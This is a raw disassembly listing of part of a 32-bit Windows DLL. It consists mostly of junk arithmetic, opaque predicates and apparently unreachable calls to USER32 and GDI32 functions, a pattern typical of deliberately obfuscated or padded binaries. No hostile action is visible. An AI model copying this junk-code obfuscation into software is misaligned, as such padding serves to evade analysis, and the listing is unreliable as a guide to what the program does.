cmp eax, dword [ebp - 0x18]
jle 0x1000ad1d
mov ecx, ebx
jmp 0x1000ad21
xor eax, eax
mov ecx, eax
mov eax, dword [ebp - 0x18]
add ecx, 0xfffffffb
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setge dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x2c]
setg bl
xor ecx, ecx
cmp eax, ebx
setl cl
add ecx, dword [ebp - 0x50]
cmp dword [ebp - 0x18], ecx
je 0x1000adfe
xor eax, eax
mov dword [ebp - 0x54], 0x133f
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], al
je 0x1000ad77
push 0xf53
push eax
push 0x215a
push 0x1083
call dword [sym.imp.USER32.dll_SystemParametersInfoW]
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0xffffffe7
jg 0x1000ae0e
xor edi, edi
push 0xfffffffffffffffe
inc edi
pop ecx
mov dword [ebp - 0x44], 0xfffffffa
mov dword [ebp - 0x34], 0xfffffffc
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], ecx
jle 0x1000adf3
mov dword [ebp - 0x58], 5
xor ebx, ebx
mov dword [ebp - 0x38], 0xed25e425
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x34], 0x35ff5744
mov dword [ebp - 0x38], edi
mov ecx, dword [ebp - 0x58]
mov eax, dword [ebp - 0x54]
cmp ecx, eax
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x50]
setne bl
xor edx, edx
cmp ecx, eax
push 0xfffffffffffffffe
setg dl
add ebx, edx
sub ebx, dword [ebp - 0x58]
mov dword [ebp - 0x38], ebx
dec dword [ebp - 0x50]
pop eax
cmp dword [ebp - 0x50], eax
jg 0x1000ada0
push 0xfffffffffffffffe
xor eax, eax
pop ecx
dec dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0xffffffe7
jle 0x1000ad8a
jmp 0x1000ae0e
mov dword [ebp - 0x34], 0x7854c3eb
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x50]
inc dword [ebp - 0x18]
push 0
pop eax
push 1
pop ebx
cmp dword [ebp - 0x18], esi
je 0x1000acfd
mov edi, 0xeacb2d50
mov dword [ebp - 0x18], eax
jmp 0x1000ae56
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], 0
je 0x1000ae3b
call dword [sym.imp.USER32.dll_DestroyCaret]
xor eax, eax
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], 0
je 0x1000ae53
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_IsIconic]
xor eax, eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jle 0x1000ae2a
movdqa xmm0, xmmword [0x10007e40]
lea eax, [ebp - 0xfb8]
push eax
lea eax, [ebp - 0xfc8]
mov dword [ebp - 0x30], ebx
push eax
lea ecx, [ebp - 0x1298]
movdqu xmmword [ebp - 0xfc8], xmm0
call fcn.1002459c
lea ecx, [ebp - 0x11d]
mov esi, eax
call fcn.10008f5a
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x758]
push dword [esi]
call fcn.10024562
mov dword [ebp - 4], 0x14
mov dword [ebp - 0x44], 0xfc1da7bc
mov eax, dword [ebp - 0x30]
xor eax, eax
cmp dword [ebp - 0x30], eax
jne 0x1000aec0
mov eax, dword [ebp - 0x30]
push ebx
lea ecx, [ebp - 0x758]
call fcn.1002458d
xor eax, eax
lea ecx, [ebp - 0x758]
push eax
call fcn.1002458d
push ebx
lea ecx, [ebp - 0x758]
call fcn.1002458d
mov eax, dword [ebp - 0x44]
xor ecx, ecx
cmp eax, ebx
push 9
setle cl
xor eax, eax
pop esi
cmp ecx, esi
setg al
imul eax, eax, 0x6ce
mov dword [ebp - 0x44], eax
xor eax, eax
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], al
je 0x1000af2c
push eax
push 0x7d0
push 0x180c
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_MoveToEx]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x758]
call fcn.10024588
xor eax, eax
push 3
mov dword [ebp - 0x14], eax
pop ecx
cmp dword [ebp - 0x14], ecx
jge 0x1000af60
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xdf8], 0xffffffff
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x1000af48
xor eax, eax
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x1c], 0xbf34
push ecx
mov dword [ebp - 0x50], eax
lea ecx, [ebp - 0x2d4]
mov dword [ebp - 0x24], 0xfffffffd
call fcn.10024520
mov dword [ebp - 4], 0x15
xor eax, eax
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], eax
push 3
pop eax
cmp dword [ebp - 0x14], eax
jge 0x1000afb8
push eax
pop ebx
push dword [ebp - 0x14]
lea ecx, [ebp - 0x2d4]
call fcn.1002458d
mov dword [eax], 0xecb302af
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1000af99
xor ebx, ebx
inc ebx
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x24], eax
xor eax, eax
cmp dword [ebp - 0x24], eax
je 0x1000afd1
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
lea ecx, [ebp - 0x2d4]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x50], eax
mov esi, dword [ebp - 0x24]
push ebx
call fcn.1002458d
xor ecx, ecx
push 2
mov dword [eax], esi
mov eax, dword [ebp - 0x50]
cmp eax, esi
pop esi
setl cl
xor eax, eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0xffffffee
jl 0x1000b122
mov dword [ebp - 0x2c], 0x1e283d1f
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x18], eax
xor eax, eax
mov dword [ebp - 0x1c], esi
cmp dword [ebp - 0x1c], eax
jl 0x1000b112
mov dword [ebp - 0x50], eax
jmp 0x1000b100
mov dword [ebp - 0x2c], eax
jmp 0x1000b0f4
mov dword [ebp - 0x34], 0x230b56bf
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], esi
jg 0x1000b064
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x2d4]
call fcn.1002458d
cmp dword [eax], 0
jne 0x1000b062
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jle 0x1000b047
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], esi
jg 0x1000b0f1
push dword [ebp - 0x50]
lea ecx, [ebp - 0x2d4]
call fcn.1002458d
push dword [ebp - 0x2c]
xor ebx, ebx
lea ecx, [ebp - 0x2d4]
cmp dword [eax], 0x1dd7
setg bl
call fcn.1002458d
mov dword [eax], ebx
xor eax, eax
test ebx, ebx
je 0x1000b0b0
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], al
je 0x1000b0e7
push eax
call dword [sym.imp.USER32.dll_CreateIconIndirect]
jmp 0x1000b0e7
mov dword [ebp - 0xc98], edi
lea ecx, [ebp - 0x2d4]
mov dword [ebp - 0xc94], edi
mov dword [ebp - 0xc90], edi
mov dword [ebp - 0xc8c], edi
mov dword [ebp - 0xc90], eax
push dword [ebp - 0x1c]
call fcn.1002458d
xor ecx, ecx
cmp dword [eax], 0xffffffff
setne cl
mov dword [ebp - 0x34], ecx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jle 0x1000b070
xor eax, eax
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], esi
jle 0x1000b038
inc dword [ebp - 0x50]
cmp dword [ebp - 0x50], esi
jle 0x1000b030
dec dword [ebp - 0x1c]
jns 0x1000b028
dec dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xffffffee
jge 0x1000b00d
xor ebx, ebx
inc ebx
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2d4]
call fcn.10024588
inc dword [ebp - 0xdf4]
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xfffffff6
jl 0x1000ac33
mov edi, dword [sym.imp.USER32.dll_MessageBoxW]
push 3
pop eax
push eax
lea ecx, [ebp - 0x818]
call fcn.10024520
mov dword [ebp - 4], 0x16
xor eax, eax
mov dword [ebp - 0x1c], 0x394643cd
mov dword [ebp - 0x34], 0x25189d9e
mov dword [ebp - 0x3c], 0xafa0b2b0
mov dword [ebp - 0x3c], 0x875f
push 3
mov dword [ebp - 0x18], eax
pop ecx
cmp dword [ebp - 0x18], ecx
jge 0x1000b1ac
push ecx
pop ebx
push dword [ebp - 0x18]
lea ecx, [ebp - 0x818]
call fcn.1002458d
mov dword [eax], 0xc93b
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x1000b18b
xor ebx, ebx
xor eax, eax
inc ebx
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x1000b1cc
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x5b8], 0x457a23a
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x1000b1b4
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jg 0x1000b342
push 2
pop edi
jmp 0x1000b1df
xor eax, eax
mov dword [ebp - 0x44], 0xcd49
mov dword [ebp - 0x2c], 0x1874da8
mov dword [ebp - 0x3c], 0xfffffffd
mov dword [ebp - 0x38], 0xd3b0
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x1000b21b
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x270], 0x47f59ec1
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1000b203
xor eax, eax
cmp dword [ebp - 0x44], eax
je 0x1000b23c
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
sub eax, dword [ebp - 0x1c]
neg eax
sbb eax, eax
inc eax
cmp eax, dword [ebp - 0x1c]
jg 0x1000b23a
mov eax, ebx
jmp 0x1000b23c
xor eax, eax
add eax, 0x87a7
neg eax
sbb eax, eax
neg eax
imul eax, eax, 0x5ebd
test eax, eax
je 0x1000b25c
xor eax, eax
cmp dword [ebp - 0x1c], eax
je 0x1000b25e
mov esi, ebx
jmp 0x1000b260
xor eax, eax
mov esi, eax
push ebx
lea ecx, [ebp - 0x818]
call fcn.1002458d
push edi
lea ecx, [ebp - 0x818]
mov eax, dword [eax]
imul eax, esi
imul esi, eax, 0xcec7
mov dword [ebp - 0x270], eax
neg esi
sbb esi, esi
neg esi
call fcn.1002458d
xor edx, edx
cmp dword [eax], esi
mov eax, dword [ebp - 0x44]
sete dl
xor ecx, ecx
cmp edx, eax
sete cl
xor eax, eax
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x2c], eax
jmp 0x1000b327
movdqa xmm0, xmmword [0x10007e90]
lea eax, [ebp - 0x1078]
push eax
lea eax, [ebp - 0x1088]
mov dword [ebp - 0x3c], 0x40f213ed
mov dword [ebp - 0x3c], 0xa0435e45
lea ecx, [ebp - 0x12e0]
mov dword [ebp - 0x3c], 0x6c8c
push eax
movdqu xmmword [ebp - 0x1088], xmm0
call fcn.1002459c
lea ecx, [ebp - 0x115]
mov esi, eax
call fcn.10008f5a
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x1204]
push dword [esi]
call fcn.10024562
mov eax, dword [ebp - 0x2c]
lea ecx, [ebp - 0x1204]
mov dword [ebp + eax*4 - 0x270], 0x78b15b45
inc dword [ebp - 0x38]
call fcn.10024588
inc dword [ebp - 0x2c]
xor eax, eax
cmp dword [ebp - 0x2c], eax
jle 0x1000b2aa
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jle 0x1000b1dd
mov edi, dword [sym.imp.USER32.dll_MessageBoxW]
mov dword [ebp - 0x5b8], 0xe161e417
lea ecx, [ebp - 0x818]
or dword [ebp - 4], 0xffffffff
call fcn.10024588
push 3
pop eax
mov dword [ebp - 0x1c], 0x76820624
lea ecx, [ebp - 0x680]
push eax
call fcn.10024520
push 0x17
pop esi
xor eax, eax
mov dword [ebp - 4], esi
push 3
mov dword [ebp - 0x14], eax
pop ecx
cmp dword [ebp - 0x14], ecx
jge 0x1000b3a7
push ecx
pop ebx
push dword [ebp - 0x14]
lea ecx, [ebp - 0x680]
call fcn.1002458d
mov dword [eax], 0x60d2f38d
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1000b386
xor ebx, ebx
xor eax, eax
inc ebx
mov dword [ebp - 0x1c], 0xd
jmp 0x1000b3ce
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], 0
je 0x1000b3cb
push 0x178a
push eax
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call edi
xor eax, eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jge 0x1000b3b0
mov esi, dword [ebp - 0x1c]
lea ecx, [ebp - 0x680]
mov eax, dword [ebp - 0x1c]
neg esi
push 2
pop eax
sbb esi, esi
push eax
neg esi
call fcn.1002458d
xor ecx, ecx
test esi, esi
push 2
setle cl
mov dword [eax], ecx
lea ecx, [ebp - 0x680]
mov eax, dword [ebp - 0x1c]
pop esi
push esi
call fcn.1002458d
push esi
lea ecx, [ebp - 0x680]
call fcn.1002458d
lea ecx, [ebp - 0x680]
mov eax, dword [eax]
add eax, 0x7ebd
mov dword [ebp - 0x1c], eax
or dword [ebp - 4], 0xffffffff
call fcn.10024588
mov dword [ebp - 0x14], 0xffffffff
mov dword [ebp - 0x14], 0xfffffff2
cmp dword [ebp - 0x14], 0xfffffff8
jge 0x1000b46e
xor eax, eax
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], 0
je 0x1000b465
push eax
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_PlayEnhMetaFile]
xor eax, eax
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xfffffff8
jl 0x1000b444
xor eax, eax
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], al
je 0x1000b47f
push eax
call dword [sym.imp.GDI32.dll_CreateRectRgnIndirect]
push 3
pop eax
push eax
lea ecx, [ebp - 0x770]
call fcn.10024520
mov dword [ebp - 4], 0x18
xor eax, eax
mov dword [ebp - 0x1c], 0x394643cd
mov dword [ebp - 0x34], 0x25189d9e
mov dword [ebp - 0x3c], 0xafa0b2b0
mov dword [ebp - 0x3c], 0x875f
push 3
mov dword [ebp - 0x18], eax
pop ecx
cmp dword [ebp - 0x18], ecx
jge 0x1000b4e1
push ecx
pop ebx
push dword [ebp - 0x18]
lea ecx, [ebp - 0x770]
call fcn.1002458d
mov dword [eax], 0xc93b
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x1000b4c0
xor ebx, ebx
xor eax, eax
inc ebx
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x1000b501
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x5c8], 0x457a23a
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x1000b4e9
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jg 0x1000b67a
jmp 0x1000b511
xor eax, eax
mov dword [ebp - 0x44], 0xcd49
mov dword [ebp - 0x2c], 0x1874da8
mov dword [ebp - 0x3c], 0xfffffffd
mov dword [ebp - 0x38], 0xd3b0
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x1000b54d
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x244], 0x47f59ec1
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1000b535
xor eax, eax
cmp dword [ebp - 0x44], eax
je 0x1000b56e
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
sub eax, dword [ebp - 0x1c]
neg eax
sbb eax, eax
inc eax
cmp eax, dword [ebp - 0x1c]
jg 0x1000b56c
mov eax, ebx
jmp 0x1000b56e
xor eax, eax
add eax, 0x87a7
neg eax
sbb eax, eax
neg eax
imul eax, eax, 0x5ebd
test eax, eax
je 0x1000b58e
xor eax, eax
cmp dword [ebp - 0x1c], eax
je 0x1000b590
mov esi, ebx
jmp 0x1000b592
xor eax, eax
mov esi, eax
push ebx
lea ecx, [ebp - 0x770]
call fcn.1002458d
push 2
pop edi
push edi
mov eax, dword [eax]
lea ecx, [ebp - 0x770]
imul eax, esi
imul esi, eax, 0xcec7
mov dword [ebp - 0x244], eax
neg esi
sbb esi, esi
neg esi
call fcn.1002458d
xor edx, edx
cmp dword [eax], esi
mov eax, dword [ebp - 0x44]
sete dl
xor ecx, ecx
cmp edx, eax
sete cl
xor eax, eax
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x2c], eax
jmp 0x1000b65c
movdqa xmm0, xmmword [0x10007e90]
lea eax, [ebp - 0xfd8]
push eax
lea eax, [ebp - 0xfe8]
mov dword [ebp - 0x3c], 0x40f213ed
mov dword [ebp - 0x3c], 0xa0435e45
lea ecx, [ebp - 0x12f0]
mov dword [ebp - 0x3c], 0x6c8c
push eax
movdqu xmmword [ebp - 0xfe8], xmm0
call fcn.1002459c
lea ecx, [ebp - 0x117]
mov esi, eax
call fcn.10008f5a
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x11a4]
push dword [esi]
call fcn.10024562
mov eax, dword [ebp - 0x2c]
lea ecx, [ebp - 0x11a4]
mov dword [ebp + eax*4 - 0x244], 0x78b15b45
inc dword [ebp - 0x38]
call fcn.10024588
inc dword [ebp - 0x2c]
xor eax, eax
cmp dword [ebp - 0x2c], eax
jle 0x1000b5df
inc dword [ebp - 0x1c]
push 2
pop esi
cmp dword [ebp - 0x1c], esi
jle 0x1000b50f
mov edi, dword [sym.imp.USER32.dll_MessageBoxW]
mov dword [ebp - 0x5c8], 0xe161e417
lea ecx, [ebp - 0x770]
or dword [ebp - 4], 0xffffffff
call fcn.10024588
mov dword [ebp - 0x18], 0xfffa
lea ecx, [ebp - 0x584]
mov dword [ebp - 0x20], 0x19716e28
mov dword [ebp - 0x14], 9
mov dword [ebp - 0x5c], 0x5fef4072
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x44], 0xde726f2c
mov dword [ebp - 0x28], 0xfff8
push ebx
call fcn.10024520
mov dword [ebp - 4], 0x19
mov eax, 0xffff
mov dword [ebp - 0x30], 0xd85d5fca
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x34], 0xfffffff8
mov dword [ebp - 0x44], 0x7898a801
mov dword [ebp - 0x3c], 0xfffffffc
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x58], eax
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
jge 0x1000b71b
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x278], ebx
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x1000b707
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
jge 0x1000b741
push dword [ebp - 0x24]
lea ecx, [ebp - 0x584]
call fcn.1002458d
mov dword [eax], 0xfffc
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x1000b723
xor eax, eax
mov dword [ebp - 0x24], eax
jmp 0x1000b753
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0xe18], ebx
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jl 0x1000b746
mov ecx, dword [ebp - 0x18]
xor edx, edx
mov eax, dword [ebp - 0x18]
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setne dl
xor ecx, ecx
sub eax, edx
cmp eax, 0x44fa3fda
setge cl
mov dword [ebp - 0x20], ecx
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x14], ebx
jge 0x1000b78f
xor eax, eax
cmp dword [ebp - 0x14], eax
je 0x1000b791
mov eax, ebx
xor ecx, ecx
cmp eax, 0x27eed050
setge cl
xor eax, eax
sub ecx, dword [ebp - 0x5c]
cmp ecx, 0xcc9d
setl al
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x44], 7
mov eax, dword [ebp - 0x44]
imul eax, dword [ebp - 0x18]
test eax, eax
je 0x1000b7de
xor eax, eax
cmp dword [ebp - 0x18], eax
je 0x1000b7e0
mov eax, ebx
jmp 0x1000b7e0
xor eax, eax
cmp eax, dword [ebp - 0x14]
jge 0x1000b7ec
xor eax, eax
cmp dword [ebp - 0x18], eax
je 0x1000b7ee
mov eax, ebx
mov dword [ebp - 0x278], eax
lea ecx, [ebp - 0x584]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x28]
xor eax, eax
push eax
call fcn.1002458d
lea ecx, [ebp - 0x584]
mov eax, dword [eax]
mov dword [ebp - 0x30], eax
xor eax, eax
push eax
call fcn.1002458d
mov edx, dword [ebp - 0x38]
mov esi, eax
add edx, dword [ebp - 0x30]
xor eax, eax
mov ecx, dword [ebp - 0x38]
cmp edx, ecx
setge al
xor ecx, ecx
cmp eax, dword [esi]
mov eax, dword [ebp - 0x5c]
setge cl
sub ecx, eax
mov eax, 0xfff6
cmp ecx, eax
mov eax, dword [ebp - 0x34]
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
setge cl
mov dword [ebp - 0x44], ecx
mov eax, dword [ebp - 0x44]
cmp dword [ebp - 0x28], ebx
jl 0x1000b85c
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x278]
xor ecx, ecx
cmp eax, 0x53bc
push 0xfffffffffffffff7
setl cl
pop eax
cmp ecx, eax
jle 0x1000b876
mov eax, dword [ebp - 0x20]
xor eax, eax
lea ecx, [ebp - 0x584]
push eax
call fcn.1002458d
mov eax, dword [ebp - 0x30]
lea ecx, [ebp - 0x584]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0xe18], eax
dec dword [ebp - 0x58]
or dword [ebp - 4], 0xffffffff
call fcn.10024588
push ebx
lea ecx, [ebp - 0x3ac]
call fcn.10024520
push 3
pop eax
push eax
lea ecx, [ebp - 0x878]
mov dword [ebp - 4], 0x1a
call fcn.10024520
mov byte [ebp - 4], 0x1b
xor eax, eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x34], 0xfffffffc
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
jge 0x1000b8fa
push dword [ebp - 0x24]
lea ecx, [ebp - 0x3ac]
call fcn.1002458d
mov dword [eax], 0x5d6c05ba
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x1000b8dc
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
jge 0x1000b91a
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x4f0], 0
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x1000b902
xor eax, eax
push 3
mov dword [ebp - 0x24], eax
pop ecx
cmp dword [ebp - 0x24], ecx
jge 0x1000b948
push ecx
pop ebx
push dword [ebp - 0x24]
lea ecx, [ebp - 0x878]
call fcn.1002458d
mov dword [eax], 0xd7249aae
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x1000b927
xor ebx, ebx
xor eax, eax
inc ebx
push eax
lea ecx, [ebp - 0x3ac]
call fcn.1002458d
lea ecx, [ebp - 0x3ac]
and dword [eax], 0
xor eax, eax
push eax
call fcn.1002458d
push 2
pop esi
jmp 0x1000b9e3
lea ecx, [ebp - 0x878]
cmp dword [eax], esi
jne 0x1000b96a